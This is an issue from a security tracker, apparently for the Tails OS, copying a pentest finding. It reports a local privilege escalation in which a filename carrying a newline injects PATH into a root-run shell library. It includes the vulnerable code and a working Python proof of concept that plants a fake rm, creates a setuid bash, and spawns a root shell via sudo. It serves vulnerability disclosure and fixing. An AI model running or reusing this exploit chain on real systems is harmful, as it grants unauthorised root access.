Skip to content

Core - Local Privilege Escalation (LPE) via CRLF injection in tails-shell-library - Code Execution

This is our side of https://git.radicallyopensecurity.com/ros/pen-tails/-/issues/1

Follows from #19248

Follows, a copy of that issue.

Observation

A low-privileged user amnesia can execute the python script run-tor-browser-in-netns as root by using sudo without a password.

sudo -l 
-> (root) NOPASSWD: /usr/local/lib/run-tor-browser-in-netns

This script invokes the tor-browser in the user space sandbox by invoking the function run_in_netns.

local/lib/run-tor-browser-in-netns

#!/usr/bin/env python3

import sys

from tailslib.netnsdrop import run_in_netns

run_in_netns("/usr/bin/tor-browser", *sys.argv[1:], netns="tbb")

The function run_in_netns runs as root. Therefore the function gnome_env_vars runs also as root.

tailslib/netnsdrop.py

def run_in_netns(*args, netns, user="amnesia", root="/", bind_mounts=[]):
    # ....... #
    envcmd = [
        "/usr/bin/env", "--",
        *gnome_env_vars(),
    ]

    # ....... #

The function gnome_env_vars executes the gnome_env function that finally executes the export_gnome_env function of the shell script /usr/local/lib/tails-shell-library/gnome.sh. Please note that the shell script function runs as root since no capability drop has been done.

GNOME_SH_PATH = "/usr/local/lib/tails-shell-library/gnome.sh"

def _gnome_sh_wrapper(cmd) -> str:
    command = shlex.split(
        "env -i sh -c '. {lib} && {cmd}'".format(lib=GNOME_SH_PATH, cmd=cmd)
    )
    return subprocess.check_output(command).decode()

def gnome_env() -> dict:
    env = dict()
    for line in _gnome_sh_wrapper("export_gnome_env && env").split("\n"):
       #......

def gnome_env_vars() -> list:
    return [f"{key}={value}" for key, value in gnome_env().items()]

The export_gnome_env function invokes the gnome_env to display some predefined environment variables strings. Afterward, the strings of the environment variables are set to real environment variables by calling the shell export function. The root cause of the vulnerability lies in the gnome_env shell function. This function assigns the first filename that starts with the prefix .mutter-Xwaylandauth. to the environment variable string XAUTHORITY. However, the privileged user amnesia can create a file with the prefix that also contains a line break. Since no validation of the low privileged user-controlled values has taken place, an attacker can inject new environment variable strings with a filename like:

touch "/run/user/1000/.mutter-Xwaylandauth.1337
PATH=."

As a result the low-privileged user amnesia can inject new environment variables to the current root user.

/usr/local/lib/tails-shell-library/gnome.sh


gnome_env() {
  local vars

  #........ #
  if ! echo "${vars}" | grep -E "^XAUTHORITY="; then
    for xauth in /run/user/1000/.mutter-Xwaylandauth.*; do
      vars="${vars}
XAUTHORITY=${xauth}"
      break
    done
  fi

  # ........ #
  echo "${vars}"
}

export_gnome_env() {
    local tmp_env_file
    tmp_env_file="$(mktemp)"
    local vars
    gnome_env > "${tmp_env_file}"
    while read -r line; do
      if [ -n "${line}" ]; then
        export "${line}"
      fi
    done < "${tmp_env_file}"
    rm "${tmp_env_file}"
}

Exploit

The low-privileged user amnesia (attacker) creates a file with a new line and overwrites the shell internal PATH environment variable with the current directory. This modified the search path for every executable to the current working dir. As we see above, after the execution of export shell command, a rm binary is executed that deletes the temporary file. Since the PATH is overwritten, the rm binary is taken from an insecure search path. The attacker drops an rm shell script that contains the /bin/bash command. Instead of the rm command, the /bin/bash command is now executed as root, leading to a Local Privilege Escalation.

touch "/run/user/1000/.mutter-Xwaylandauth.1337
PATH=."

POC:

import os

# create the payload file to overwrite the PATH variable
with open("/run/user/1000/.mutter-Xwaylandauth.1337\nPATH=.", "w"):
    pass

# drop a shell
with open("rm", "w") as fp:
    # restore the original root path
    fp.write('export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"\n')

    # drop a setuid bash
    fp.write("/bin/bash -c 'cp -a /bin/bash ./.gadget_bash && chmod u+s .gadget_bash'")

# make rm executable
os.system("chmod +x rm")

# trigger the payload
os.system("sudo /usr/local/lib/run-tor-browser-in-netns > /dev/null 2>&1")

# drop the gadget that changes the euid to uid=0
with open(".gadget_root", "w") as fp:
    # drop a shell script that changes the euid to uid=0
    # taken from # https://unix.stackexchange.com/questions/645075/attempting-to-get-root-uid-from-root-euid
    fp.write("perl -MEnglish -e '$UID = 0; $ENV{PATH} = \"/bin:/usr/bin:/sbin:/usr/sbin\"; exec \"su - root\"'")

# get the root shell
os.system("./.gadget_bash -p -c '. ./.gadget_root'")

Impact

Recommendations

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information